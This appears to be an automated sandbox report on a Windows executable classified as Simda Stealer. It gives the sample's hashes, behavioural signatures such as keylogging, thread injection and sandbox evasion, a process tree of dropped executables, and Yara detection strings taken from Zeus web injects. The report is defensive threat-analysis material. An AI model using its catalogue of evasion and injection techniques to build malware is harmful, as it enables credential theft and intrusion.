Edit tour

Windows Analysis Report
UMwpXhA46R.exe

Overview

General Information

Sample name:	UMwpXhA46R.exe renamed because original name is a hash value
Original sample name:	ef7eacbab6cd35771675717a0a84939f529c1ac4.exe
Analysis ID:	1553852
MD5:	239b74d7ac38014e61cc335630ac22d6
SHA1:	ef7eacbab6cd35771675717a0a84939f529c1ac4
SHA256:	a53ec0d01746cd6c44b9c207df3101c8fe7e78bbe08a125dad833b1a41636668
Tags:	exeuser-NDA0E
Infos:

Detection

Simda Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Detected unpacking (creates a PE file in dynamic memory)

Detected unpacking (overwrites its own PE header)

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Simda Stealer

AI detected suspicious sample

Allocates memory in foreign processes

Checks if browser processes are running

Contains VNC / remote desktop functionality (version string found)

Contains functionality to behave differently if execute on a Russian/Kazak computer

Contains functionality to capture and log keystrokes

Contains functionality to compare user and computer (likely to detect sandboxes)

Contains functionality to detect sandboxes (registry SystemBiosVersion/Date)

Contains functionality to infect the boot sector

Contains functionality to inject threads in other processes

Creates a thread in another existing process (thread injection)

Creates an undocumented autostart registry key

Drops PE files with benign system names

Drops executables to the windows directory (C:\Windows) and starts them

Found direct / indirect Syscall (likely to bypass EDR)

Found evasive API chain (may stop execution after checking volume information)

Found evasive API chain checking for user administrative privileges

Found stalling execution ending in API Sleep call

Injects a PE file into a foreign processes

Machine Learning detection for sample

Monitors registry run keys for changes

Moves itself to temp directory

Queries Google from non browser process on port 80

Queries random domain names (often used to prevent blacklisting and sinkholes)

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: System File Execution Location Anomaly

Tries to resolve many domain names, but no domain seems valid

Uses known network protocols on non-standard ports

Writes to foreign memory regions

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a connection to the internet is available

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to communicate with device drivers

Contains functionality to create system tasks

Contains functionality to dynamically determine API calls

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to launch a process as a different user

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality to retrieve information about pressed keystrokes

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Executes massive DNS lookups (> 100)

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (might use process or thread times for sandbox detection)

Found large amount of non-executed APIs

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries the installation date of Windows

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion NT Autorun Keys Modification

Sigma detected: Uncommon Svchost Parent Process

Suricata IDS alerts with low severity for network traffic

Tries to disable installed Antivirus / HIPS / PFW

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

UMwpXhA46R.exe (PID: 7020 cmdline: "C:\Users\user\Desktop\UMwpXhA46R.exe" MD5: 239B74D7AC38014E61CC335630AC22D6)

svchost.exe (PID: 1112 cmdline: "C:\Windows\apppatch\svchost.exe" MD5: E132561B9EE04A2EDDF6460BE4A89362)

PMnAVsjMPucERAKEWNFImySCFHoLk.exe (PID: 6912 cmdline: "C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

WerFault.exe (PID: 7244 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6912 -s 904 MD5: C31336C1EFC2CCB44B4326EA793040F2)

PMnAVsjMPucERAKEWNFImySCFHoLk.exe (PID: 1220 cmdline: "C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

WerFault.exe (PID: 7640 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1220 -s 884 MD5: C31336C1EFC2CCB44B4326EA793040F2)

PMnAVsjMPucERAKEWNFImySCFHoLk.exe (PID: 2268 cmdline: "C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

WerFault.exe (PID: 7752 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2268 -s 980 MD5: C31336C1EFC2CCB44B4326EA793040F2)

PMnAVsjMPucERAKEWNFImySCFHoLk.exe (PID: 3472 cmdline: "C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

WerFault.exe (PID: 8004 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3472 -s 2076 MD5: C31336C1EFC2CCB44B4326EA793040F2)

PMnAVsjMPucERAKEWNFImySCFHoLk.exe (PID: 1492 cmdline: "C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

PMnAVsjMPucERAKEWNFImySCFHoLk.exe (PID: 6628 cmdline: "C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

WerFault.exe (PID: 9820 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6628 -s 968 MD5: C31336C1EFC2CCB44B4326EA793040F2)

PMnAVsjMPucERAKEWNFImySCFHoLk.exe (PID: 5128 cmdline: "C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

WerFault.exe (PID: 9772 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5128 -s 1008 MD5: C31336C1EFC2CCB44B4326EA793040F2)

PMnAVsjMPucERAKEWNFImySCFHoLk.exe (PID: 2948 cmdline: "C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

WerFault.exe (PID: 7860 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2948 -s 832 MD5: C31336C1EFC2CCB44B4326EA793040F2)

PMnAVsjMPucERAKEWNFImySCFHoLk.exe (PID: 3416 cmdline: "C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

WerFault.exe (PID: 10912 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3416 -s 1008 MD5: C31336C1EFC2CCB44B4326EA793040F2)

PMnAVsjMPucERAKEWNFImySCFHoLk.exe (PID: 3328 cmdline: "C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

WerFault.exe (PID: 5920 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3328 -s 1244 MD5: C31336C1EFC2CCB44B4326EA793040F2)

PMnAVsjMPucERAKEWNFImySCFHoLk.exe (PID: 3896 cmdline: "C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

WerFault.exe (PID: 10956 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3896 -s 908 MD5: C31336C1EFC2CCB44B4326EA793040F2)

PMnAVsjMPucERAKEWNFImySCFHoLk.exe (PID: 6212 cmdline: "C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

PMnAVsjMPucERAKEWNFImySCFHoLk.exe (PID: 1476 cmdline: "C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000018.00000002.2707315071.0000000002560000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x47df4:$a1: name=%s&port=%u 0x475c8:$a2: data_inject 0x4777c:$a3: keylog.txt 0x4745d:$a4: User-agent: %s]]] 0x47f44:$a5: %s\%02d.bmp
00000002.00000003.2774994198.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2776615679.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000002.3416553301.00000000029A0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x48bf4:$a1: name=%s&port=%u 0x483c8:$a2: data_inject 0x4857c:$a3: keylog.txt 0x4825d:$a4: User-agent: %s]]] 0x48d44:$a5: %s\%02d.bmp
00000021.00000002.2737098756.0000000002670000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x48bf4:$a1: name=%s&port=%u 0x483c8:$a2: data_inject 0x4857c:$a3: keylog.txt 0x4825d:$a4: User-agent: %s]]] 0x48d44:$a5: %s\%02d.bmp
00000021.00000002.2735290502.0000000000B00000.00000040.00000010.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x47df4:$a1: name=%s&port=%u 0x475c8:$a2: data_inject 0x4777c:$a3: keylog.txt 0x4745d:$a4: User-agent: %s]]] 0x47f44:$a5: %s\%02d.bmp
00000015.00000002.2694402665.0000000002AB0000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x48bf4:$a1: name=%s&port=%u 0x483c8:$a2: data_inject 0x4857c:$a3: keylog.txt 0x4825d:$a4: User-agent: %s]]] 0x48d44:$a5: %s\%02d.bmp
00000002.00000003.2809572996.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2784640433.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2575291599.000000000F380000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2612530811.0000000002D30000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2544138671.000000000D580000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000013.00000002.2647909784.0000000002D80000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x47df4:$a1: name=%s&port=%u 0x475c8:$a2: data_inject 0x4777c:$a3: keylog.txt 0x4745d:$a4: User-agent: %s]]] 0x47f44:$a5: %s\%02d.bmp
00000002.00000003.2775654849.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2587965689.0000000002D30000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000002.3402365018.0000000000400000.00000040.00000001.01000000.00000004.sdmp	JoeSecurity_SimdaStealer	Yara detected Simda Stealer	Joe Security
00000002.00000002.3402365018.0000000000400000.00000040.00000001.01000000.00000004.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x4dbf4:$a1: name=%s&port=%u 0x4d3c8:$a2: data_inject 0x4d57c:$a3: keylog.txt 0x4d25d:$a4: User-agent: %s]]] 0x4dd44:$a5: %s\%02d.bmp
00000002.00000002.3417374807.0000000002CD1000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x477f4:$a1: name=%s&port=%u 0x46fc8:$a2: data_inject 0x4717c:$a3: keylog.txt 0x46e5d:$a4: User-agent: %s]]] 0x47944:$a5: %s\%02d.bmp
00000002.00000003.2793511340.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2763018604.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2754985393.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000018.00000002.2705436372.00000000024F0000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x48bf4:$a1: name=%s&port=%u 0x483c8:$a2: data_inject 0x4857c:$a3: keylog.txt 0x4825d:$a4: User-agent: %s]]] 0x48d44:$a5: %s\%02d.bmp
00000015.00000002.2699555610.0000000002CA0000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x47df4:$a1: name=%s&port=%u 0x475c8:$a2: data_inject 0x4777c:$a3: keylog.txt 0x4745d:$a4: User-agent: %s]]] 0x47f44:$a5: %s\%02d.bmp
00000006.00000002.2605884801.00000000011E0000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x48bf4:$a1: name=%s&port=%u 0x483c8:$a2: data_inject 0x4857c:$a3: keylog.txt 0x4825d:$a4: User-agent: %s]]] 0x48d44:$a5: %s\%02d.bmp
00000002.00000003.2786368119.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000000.00000003.2148607507.0000000000703000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_SimdaStealer	Yara detected Simda Stealer	Joe Security
00000000.00000003.2148607507.0000000000703000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x4c9dc:$a1: name=%s&port=%u 0x4c1b0:$a2: data_inject 0x4c364:$a3: keylog.txt 0x4c045:$a4: User-agent: %s]]] 0x4cb2c:$a5: %s\%02d.bmp
0000001B.00000002.2725518370.0000000002E80000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x48bf4:$a1: name=%s&port=%u 0x483c8:$a2: data_inject 0x4857c:$a3: keylog.txt 0x4825d:$a4: User-agent: %s]]] 0x48d44:$a5: %s\%02d.bmp
00000002.00000003.2776797358.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2763556222.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000009.00000002.2610626005.0000000000A20000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x47df4:$a1: name=%s&port=%u 0x475c8:$a2: data_inject 0x4777c:$a3: keylog.txt 0x4745d:$a4: User-agent: %s]]] 0x47f44:$a5: %s\%02d.bmp
00000002.00000003.2775373199.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2522335301.0000000002D30000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000010.00000002.2611939403.0000000002AF0000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x48bf4:$a1: name=%s&port=%u 0x483c8:$a2: data_inject 0x4857c:$a3: keylog.txt 0x4825d:$a4: User-agent: %s]]] 0x48d44:$a5: %s\%02d.bmp
00000002.00000003.2519685174.0000000002D30000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2763964877.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000007.00000002.2632861320.0000000000FE0000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x48bf4:$a1: name=%s&port=%u 0x483c8:$a2: data_inject 0x4857c:$a3: keylog.txt 0x4825d:$a4: User-agent: %s]]] 0x48d44:$a5: %s\%02d.bmp
00000027.00000002.2871812715.0000000000CD0000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x48bf4:$a1: name=%s&port=%u 0x483c8:$a2: data_inject 0x4857c:$a3: keylog.txt 0x4825d:$a4: User-agent: %s]]] 0x48d44:$a5: %s\%02d.bmp
0000001E.00000002.2759598984.00000000025F0000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x48bf4:$a1: name=%s&port=%u 0x483c8:$a2: data_inject 0x4857c:$a3: keylog.txt 0x4825d:$a4: User-agent: %s]]] 0x48d44:$a5: %s\%02d.bmp
00000002.00000003.2808903395.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2761135252.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000010.00000002.2612614586.0000000002B80000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x47df4:$a1: name=%s&port=%u 0x475c8:$a2: data_inject 0x4777c:$a3: keylog.txt 0x4745d:$a4: User-agent: %s]]] 0x47f44:$a5: %s\%02d.bmp
00000002.00000003.2726433713.0000000002D30000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2633125874.0000000002D30000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2774233552.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2517359385.0000000002D30000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
0000001E.00000002.2785000519.00000000027A0000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x47df4:$a1: name=%s&port=%u 0x475c8:$a2: data_inject 0x4777c:$a3: keylog.txt 0x4745d:$a4: User-agent: %s]]] 0x47f44:$a5: %s\%02d.bmp
00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x47df4:$a1: name=%s&port=%u 0x475c8:$a2: data_inject 0x4777c:$a3: keylog.txt 0x4745d:$a4: User-agent: %s]]] 0x47f44:$a5: %s\%02d.bmp
00000002.00000003.2168260986.0000000000881000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_SimdaStealer	Yara detected Simda Stealer	Joe Security
00000002.00000003.2168260986.0000000000881000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x4c7f4:$a1: name=%s&port=%u 0x4bfc8:$a2: data_inject 0x4c17c:$a3: keylog.txt 0x4be5d:$a4: User-agent: %s]]] 0x4c944:$a5: %s\%02d.bmp
00000024.00000002.2844886273.0000000001550000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x48bf4:$a1: name=%s&port=%u 0x483c8:$a2: data_inject 0x4857c:$a3: keylog.txt 0x4825d:$a4: User-agent: %s]]] 0x48d44:$a5: %s\%02d.bmp
